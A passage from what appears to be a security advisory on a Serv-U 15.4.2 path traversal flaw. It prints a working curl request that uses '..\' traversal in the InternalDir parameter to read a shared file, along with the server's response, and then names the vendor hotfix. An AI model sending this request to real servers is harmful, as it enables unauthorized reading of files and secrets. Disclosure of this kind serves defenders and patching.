Knowing the location of a shared file, as given in the FullPath column of the ad_hoc_files table, we can now read the shared file as follows:

Note the random directory name in the path (PzhW3v7W in the example above), which we would not be able to guess without first reading the Serv-U.FileShares database.

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\testdomain\7\PzhW3v7W^&InternalFile=secrets.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 15:56:44 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  secure; httponly
Content-Length: 18

THIS IS A SECRET!

Remediation

SolarWinds has released a hotfix 15.4.2 Hotfix 2 to remediate this issue. Serv-U customers are advised to apply this hotfix on an urgent basis.

Further information about the hotfix is available from the vendor here.

References